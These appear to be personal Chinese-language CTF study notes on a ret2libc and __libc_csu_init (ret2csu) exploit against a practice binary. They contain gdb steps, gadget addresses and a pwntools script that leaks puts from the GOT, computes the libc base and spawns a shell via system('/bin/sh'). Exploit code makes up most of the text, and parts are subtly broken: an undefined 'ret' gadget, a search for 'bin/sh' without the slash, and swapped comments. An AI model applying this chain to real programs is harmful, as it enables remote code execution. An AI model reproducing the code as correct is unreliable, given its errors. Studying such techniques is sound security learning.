disassemble main
获取read@plt地址0x400500
0x000000000040067e <+119>: call 0x400500
disassemble 0x400500地址发现read@got.pl 会执行jmp 指令
jmp到的其实这是plt表对应函数的got表
查看jmp地址的内存内容x/20gx 0x601028
发现read@got.pltb保存了read函数的blic中的地址
call read—> read的plt表 —>read的got表
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
下面来搜索gadget
ROPgadget --binary ./ret2shellcode | grep rdi
通过ldd命令查询程序所需的动态链接库(so)
main=> 0X400607
puts_plt=> 0X4004E0
现在rip在main+4处没执行puts,执行puts 后可以看到puts_got=> 0X601018里保存的是0X7FFDAA4E5430,可以使用ni si 进行调试看是否前后值有变化
si 进入函数下断点 x/20gx 0x601018 puts_addr= 0x00007ffff7e01ed0
set *0x7fffffffe1b8 = 0x4006f3 //pop_rdi_ret
set *0x7fffffffe1c0 = 0X601018 //puts@got
set *0x7fffffffe1c8 = 0X4004E0 //puts@glt
set *0x7fffffffe1d0 = 0X400607 //main
手动设置栈上的值 发现 pop_rdi_ret设置的值 变换为0x4006f3 =》0x7fff004006f3(原因不明)
-- libc_csu_init
payload= aaaabaaacaaadaaaeaaafaaa
+set *0x7fffffffe1b8 = 0x4006f3
+set *0x7fffffffe1c0 = 0X601018
+set *0x7fffffffe1c8 = 0X4004E0
+set *0x7fffffffe1d0 = 0X400607
0x00000000004006ea <+90>: pop rbx
0x00000000004006eb <+91>: pop rbp
0x00000000004006ec <+92>: pop r12
0x00000000004006ee <+94>: pop r13
0x00000000004006f0 <+96>: pop r14
0x00000000004006f2 <+98>: pop r15
0x00000000004006f4 <+100>: ret
分别用rdi,rsi,rdx,rcx,r8,r9作为第1-6个参数。rax作为返回值
pop_rbx_addr =0x4006ea
rbx=0
rbp=1
r13=puts_got //arg1
r14=0 //arg2
r15=0 //arg3
r12=put@glt //call function
payload = b'a'*0x10 + b'fuckpwn!'+ p64(gadget1)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget2)+b'a'*(8*7)+p64(main)
动态set rbp+4 set 不了高位会变换
from pwn import *
context(os="linux", arch="amd64", log_level='debug')
io = process('ret2shellcode')
elf=ELF('ret2shellcode')
puts_plt=elf.plt['puts']
#0x00007ffff7e01ed0 0x00007ffff7de1770
puts_got=elf.got['puts']
main=elf.sym['main']
log.success('puts_plt=> %s' % hex(puts_plt).upper())
log.success('puts_got=> %s' % hex(puts_got).upper())
log.success('main=> %s' % hex(main).upper())
#0x00000000004006f3 : pop rdi ; ret
pop_rdi=0x4006f3
#$1 = (int (*)(const char *)) 0x7ffff7e01ed0 <__GI__IO_puts>
#0x00000000004004c6 : ret
#利用__libc_csu_init控制64位寄存器
gadget1 = 0x4006ea #pop_rbx_addr
gadget2 = 0x4006d0 #mov_rdi_ddr
rbx=0
rbp=1
r12=0
r13=puts_got #arg1
r14=0 #arg2
r15=0 #arg3
payload = b'a'*0x10 + b'fuckpwn!'+ p64(gadget1)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget2)+b'a'*(8*7)+p64(main)
#利用__libc_csu_init控制64位寄存器
io.recvuntil(b'[')
buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)
log.success('buf_address => %s' % hex(buf_address).upper())
shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x8
log.success('buf_address => %s' % hex(shellcode_address).upper())
#利用ret2lib控制64位寄存器
#payload= b'a'*0x10 + b'fuckpwn!' + p64(pop_rdi) + p64(puts_got)+ p64(puts_plt)+ p64(main)
io.recv()
#gdb.attach(io)
io.sendline(payload)
puts_addr=u64(io.recv(6).ljust(8,b'\0'))
#puts_addr=u64(io.recv(8).ljust(8,b'\0'))
log.success('puts_addr=> %s' % hex(puts_addr).upper())
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts'] #libc_base
#libc_base=0x7ffff7d81000
log.success('libc_base => %s' % hex(libc_base).upper())
system =libc_base+libc.symbols["system"] #计算字符串"/bin/sh"的地址
log.success('system => %s' % hex(system).upper())
#binsh_offest=0x00000000001d8699
#1d8698
binsh_offset = next(libc.search(b'bin/sh'))
binsh =libc_base+binsh_offset#计算函数system的地址
log.success('binsh_offset => %s' % hex(binsh_offset))
#p64(ret)+p64(rdi)+p64(binsh)+p64(system)
payload= b'a'*0x10 + b'fuckpwn!' +p64(ret) + p64(pop_rdi)+p64(binsh)+p64(system)
io.recv()
io.sendline(payload)
io.interactive()
利用__libc_csu_init控制64位寄存器 - 知乎 (zhihu.com)
(129条消息) [NTUSTISC pwn LAB 7]Return to libc实验(puts泄露、libc中gadget片段定位)_漫小牛的博客-CSDN博客
(129条消息) BUUCTF ciscn_2019_c_1(64位ret2libc3)_Rt1Text的博客-CSDN博客
深入理解GOT表和PLT表 (baidu.com)
(122条消息) Ret2libc_钞sir的博客-CSDN博客_ret2libc